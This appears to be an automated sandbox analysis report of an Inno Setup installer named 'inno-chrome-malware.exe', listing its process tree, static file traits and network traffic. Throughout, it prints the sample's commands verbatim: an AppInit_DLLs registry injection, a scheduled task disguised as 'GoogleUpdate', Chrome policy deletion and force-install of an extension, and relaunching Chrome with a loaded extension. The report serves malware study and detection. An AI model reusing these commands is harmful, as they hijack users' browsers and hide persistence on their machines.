Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8

Source: unknown	HTTPS traffic detected: 142.250.184.100:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.100:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: reg.exe

Process created: 48

Source: inno-chrome-malware.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe

Code function: 8_2_00007FF786B21400

8_2_00007FF786B21400

Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe

Code function: String function: 00007FF786B22980 appears 90 times

Source: inno-chrome-malware.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: inno-chrome-malware.tmp.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: inno-chrome-malware.exe, 00000000.00000003.302574012.000000007FBD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs inno-chrome-malware.exe
Source: inno-chrome-malware.exe, 00000000.00000003.302218321.0000000002620000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs inno-chrome-malware.exe
Source: inno-chrome-malware.exe, 00000000.00000000.301666259.00000000004C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs inno-chrome-malware.exe
Source: inno-chrome-malware.exe, 00000000.00000003.308907059.0000000000BC8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs inno-chrome-malware.exe
Source: inno-chrome-malware.exe, 00000002.00000003.323612460.0000000002248000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs inno-chrome-malware.exe
Source: inno-chrome-malware.exe	Binary or memory string: OriginalFileName vs inno-chrome-malware.exe

Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Section loaded: sxsext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Section loaded: sxsext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Section loaded: sxsext.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sxsext.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: sxsext.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sxsext.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: sxsext.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: sxsext.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: sxsext.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sxsext.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sxsext.dll
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Section loaded: sxsext.dll

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\Windows\system32\sxsext.dll" /f

Source: inno-chrome-malware.exe

Static PE information: invalid certificate

Source: inno-chrome-malware.exe

Virustotal: Detection: 42%

Source: C:\Users\user\Desktop\inno-chrome-malware.exe

File read: C:\Users\user\Desktop\inno-chrome-malware.exe

Jump to behavior

Source: C:\Users\user\Desktop\inno-chrome-malware.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\inno-chrome-malware.exe C:\Users\user\Desktop\inno-chrome-malware.exe
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Process created: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp "C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp" /SL5="$70268,847369,780800,C:\Users\user\Desktop\inno-chrome-malware.exe"
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process created: C:\Users\user\Desktop\inno-chrome-malware.exe "C:\Users\user\Desktop\inno-chrome-malware.exe" /SILENT
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Process created: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp "C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp" /SL5="$30384,847369,780800,C:\Users\user\Desktop\inno-chrome-malware.exe" /SILENT
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\ServiceApp\install.bat" install
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\Windows\system32\sxsext.dll" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "LoadAppInit_DLLs" /t REG_DWORD /d 1 /f
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process created: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe "C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe" install
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /Create /XML "C:\Users\user\AppData\Local\ServiceApp\reg.xml" /tn GoogleUpdate
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\ServiceApp\reg.bat" install
Source: unknown	Process created: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /Create /XML "C:\Users\user\AppData\Local\ServiceApp\reg.xml" /tn GoogleUpdate
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://getfiles.wiki/welcome.php
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1888 --field-trial-handle=1760,i,6059674073943938920,670847644156187384,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: unknown	Process created: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1948 --field-trial-handle=1836,i,18200466452915186121,16294735277586794674,131072 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1980 --field-trial-handle=1808,i,2020482620358884493,2318261936585416733,131072 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1840,i,16202661095772921985,17311311684622988209,131072 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1976 --field-trial-handle=1836,i,11312616248427942103,4316635521105666888,131072 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Process created: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp "C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp" /SL5="$70268,847369,780800,C:\Users\user\Desktop\inno-chrome-malware.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp	Process created: C:\Users\user\Desktop\inno-chrome-malware.exe "C:\Users\user\Desktop\inno-chrome-malware.exe" /SILENT	Jump to behavior
Source: C:\Users\user\Desktop\inno-chrome-malware.exe	Process created: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp "C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp" /SL5="$30384,847369,780800,C:\Users\user\Desktop\inno-chrome-malware.exe" /SILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\ServiceApp\install.bat" install	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process created: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe "C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe" install	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\ServiceApp\reg.bat" install	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://getfiles.wiki/welcome.php	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\Windows\system32\sxsext.dll" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "LoadAppInit_DLLs" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /Create /XML "C:\Users\user\AppData\Local\ServiceApp\reg.xml" /tn GoogleUpdate	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /Create /XML "C:\Users\user\AppData\Local\ServiceApp\reg.xml" /tn GoogleUpdate	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\timeout.exe timeout 5	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1888 --field-trial-handle=1760,i,6059674073943938920,670847644156187384,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default
Source: C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\ServiceApp\chrome.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Policies\Google\Chrome /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG DELETE HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "version" /t REG_SZ /d 1.0 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "3" /t REG_SZ /d jncffhgjbmpggpdflbbkhdghjipdbjkn /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions\jncffhgjbmpggpdflbbkhdghjipdbjkn" /v "path" /t REG_SZ /d "C:\Users\user\AppData\Local\ServiceApp\apps-helper\apps.crx" /f
